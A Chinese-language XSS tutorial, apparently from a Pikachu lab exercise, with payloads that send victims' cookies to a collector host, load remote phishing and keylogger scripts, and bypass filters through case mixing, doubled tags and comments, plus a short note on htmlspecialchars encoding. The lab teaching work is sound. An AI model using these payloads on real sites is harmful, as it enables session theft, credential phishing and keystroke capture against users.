XSS跨站脚本攻击

XSS全称(Cross Site Scripting)跨站脚本攻击,XSS属于客户端攻击,受害者最终是用户,在网页中嵌入客户端恶意脚本代码,最常用javascript语言。(注意:叠成样式表CSS已经被占用所以叫XSS)

原因:输入没过滤,输出没编码。

危害:劫持用户cookie,钓鱼,挂马

分类:

1、反射性XSS(中危,一次性不保存在数据库,交互的地方,比如带参和输入更新),

2、储存型XSS(高危,长久保存在数据库)

3、DOM XSS(低危,无数据库交互,浏览器的dom节点),可能存在html文本框,URL文本框,样式等

操作:

在万能闭合‘“>后面插入语句<script>prompt(1)</script>

或者用弹窗语句‘“><script>alert(1)</script>,弹出一个对话框1,如果能弹窗说明这里是有漏洞的。

示例,name变量没有进行过滤

cookie收集展示

 设置下点击页面的时候返回地址,这样减少用户的疑问,也可以把返回的网址换成登录的网页

111'"><script>document.location = 'http://网站IP和端口/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

配置好返回的界面后,输入以下代码,提交然后刚才提交的那个电脑的cookie就保存在到pkxss里面了。且用户点击的界面在提交代码之后返回到之前配置的那个index.php上。

盲打获取账户密码

在不确定是否有注入点的地方输入后,登录后台可以把登录的账户和密码拿到,在md5解密就可以获得账户密码

111'"><script>document.location = 'http://192.168.246.11/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

post方式

钓鱼

'"><script src="http://192.168.246.11/pikachu/pkxss/xfish/fish.php"></script>

注意:再次点击的时候没有弹出,是因为已经保存这个电脑信息,需要浏览器清除下cookie

收集键盘信息

同源策略:浏览器都约定了“同源策略,禁止页面加载或执行与自身来源不同的域的任何脚本既不同域之间不能使用JS进行操作。比如:x.com域名下的js不能操作y.com域名下的对象

http:// www.   oldboyedu.com  :80 /   news/index.php
协议    子域名    主域名               端口    资源地址

必须要全部一样才算同源

后台设置好Access-Control-Allow-Origin,设置为*,既允许所有人访问。

111'"><script src="http://192.168.246.11/pikachu/pkxss/rkeypress/rk.js"></script>,键盘记录rk.js执行,然后在页面任何位置输入就可以键盘输入记录

XSS绕过

前段绕过,大小写,双写,注释,编码

1、对前端的限制可以尝试进行抓包重发或者修改前端的HTML。比如修改输入框字符。
2、防止后台对输入的内容进行正则匹配来过滤输入,对于这样的过滤可以考虑大小写混合输入的方法。比如:<sCRipT>alert('你吃饭像tuzi')</sCrIPt>,利用的是精准过滤,换成大小写就绕过了。也可以用其他标签比如框架iframe,类型style,标签svg


3、防止后台对输入的内容进行替换,采用拼拼凑的输入方法。比如:<sc<script>ript>alert(你吃饭像tuzi')</scr<script>ipt>
4、使用注释来干扰后台对输入内容的识别。比如:<sc<!--test-->ript>alert('你吃饭像tuzi')</scr<!--tshauie-->ipt>
5:、编码,保证输出的情况下后台代码过滤

htmlspecialchars()函数把一些预定义的字符转换为 HTML 实体

可用的quotestyle类型:

ENT_COMPAT - 默认。仅编码双引号

ENT_QUOTES - 编码双引号和单引号

ENT_NOQUOTES - 不编码任何引

预定义的字符是:
 & (和号)成为 &amp
 " (双引号)成为 &quot
 ’ (单引号)成为&#039
 < (小于)成为 &lt
 >(大于)成为 &gt

该函数的语法:htmlspecialchars(string,flags,character-set,double_encode)

href输出:javascript:alert(1111) 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/109014.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

可变参数JAVA

public class Main {public static void main(String[] args) {//方法形参的个数是可以变化的//格式&#xff1a;属性类型...名字System.out.println(getSum(1,2,3,4,5,6,7,8));}//通过键值对对象来遍历&#xff1b;public static int getSum(int a,int...args){//可变参数;int…

HTTP反爬困境

尊敬的程序员朋友们&#xff0c;大家好&#xff01;今天我要和您分享一篇关于解决反爬困境的文章。在网络爬虫的时代&#xff0c;许多网站采取了反爬措施来保护自己的数据资源。然而&#xff0c;作为程序员&#xff0c;我们有着聪明才智和技术能力&#xff0c;可以应对这些困境…

7-15 求矩阵的局部极大值

输入格式&#xff1a; 输入在第一行中给出矩阵A的行数M和列数N&#xff08;3≤M,N≤20&#xff09;&#xff1b;最后M行&#xff0c;每行给出A在该行的N个元素的值。数字间以空格分隔。 输出格式&#xff1a; 每行按照“元素值 行号 列号”的格式输出一个局部极大值&#xff0…

Linux自动化构建项目工具——Makefile/makefile

目录 一&#xff0c;背景知识 二&#xff0c;makefile/Makefile的编写 1.创建makefile/Makefile文件 2.在Makefile文件里写编译代码 3.伪目标——.PHONY 1.伪目标的特点 2.怎样实现总是被执行 4.Makefile/makefile文件的不同编写风格 1.背景知识 2.改写 一&#xff0c;背…

Pytorch中张量矩阵乘法函数(mm, bmm, matmul)使用说明,含高维张量实例及运行结果

Pytorch中张量矩阵乘法函数使用说明 1 torch.mm() 函数1.1 torch.mm() 函数定义及参数1.2 torch.bmm() 官方示例 2 torch.bmm() 函数2.1 torch.bmm() 函数定义及参数2.2 torch.bmm() 官方示例 3 torch.matmul() 函数3.1 torch.matmul() 函数定义及参数3.2 torch.matmul() 规则约…

Element树形控件使用过程中遇到的问题及解决方法

1.需求1点击编辑按钮&#xff0c;出现修改组织弹窗&#xff0c;且将点击时的组织名称返现在输入框中。 思路是点击编辑按钮&#xff0c;取到节点点击时返回的data信息中的label进行赋值即可。 <el-treestyle"margin-top: 20px":data"organizationTreeData…

2023/9/14 -- C++/QT

作业&#xff1a; 仿照Vector实现MyVector&#xff0c;最主要实现二倍扩容 #include <iostream>using namespace std;template <typename T> class MyVector { private:T *data;size_t size;size_t V_capacity; public://无参构造MyVector():data(nullptr),size(…

【Java 基础篇】深入了解Java中的键值对集合:Map集合详解

Map是Java中常用的数据结构之一&#xff0c;用于存储键值对&#xff08;Key-Value&#xff09;映射。它提供了快速的查找和访问能力&#xff0c;是编程中常用的工具之一。本文将深入介绍Java中的Map集合&#xff0c;包括常见的Map实现类、基本操作、使用示例以及一些重要的注意…

MATLAB入门-矩阵的运算

MATLAB入门-矩阵的运算 本篇文章为学习笔记&#xff0c;课程链接为&#xff1a;头歌 相关知识 常见的矩阵运算有算术运算、关系运算和逻辑运算。MATLAB中的所有变量都是以矩阵的形式存储的&#xff0c;单个变量就相当于一个1*1的矩阵。 算术运算 下面展示的是常见的矩阵之…

【绝㊙️】三年开发内功心得

经典嵌套if-else问题 这个也是老生常谈问题了&#xff0c;不管哪里都能看到。 那如何解决 方法一&#xff08;重要&#xff09;&#xff1a; 如果逻辑分支过多&#xff0c; 即使你不解决嵌套if-slse&#xff0c;至少也要把每个 if的{}里的逻辑抽到一个独立的方法或者工具类…

Gin路由中间件详解

什么是中间件 Gin 中的中间件必须是一个 gin.HandlerFunc 类型,配置路由的时候可以传递多个 func 回调函 数, 最后一个 func 回调函数前面触发的方法 都可以称为中间件。 中间件操作演示 方法一: 直接写在func,回调函数内 r.GET("/middle",func(ctx *gin.Cont…

Tokenview X-ray功能:深入探索EVM系列浏览器的全新视角

Tokenview作为一家领先的多链区块浏览器&#xff0c;为了进一步优化区块链用户的使用体验&#xff0c;我们推出了X-ray&#xff08;余额透视&#xff09;功能。该功能将帮助您深入了解EVM系列浏览器上每个地址的交易过程&#xff0c;以一种直观、简洁的方式呈现地址的进出账情况…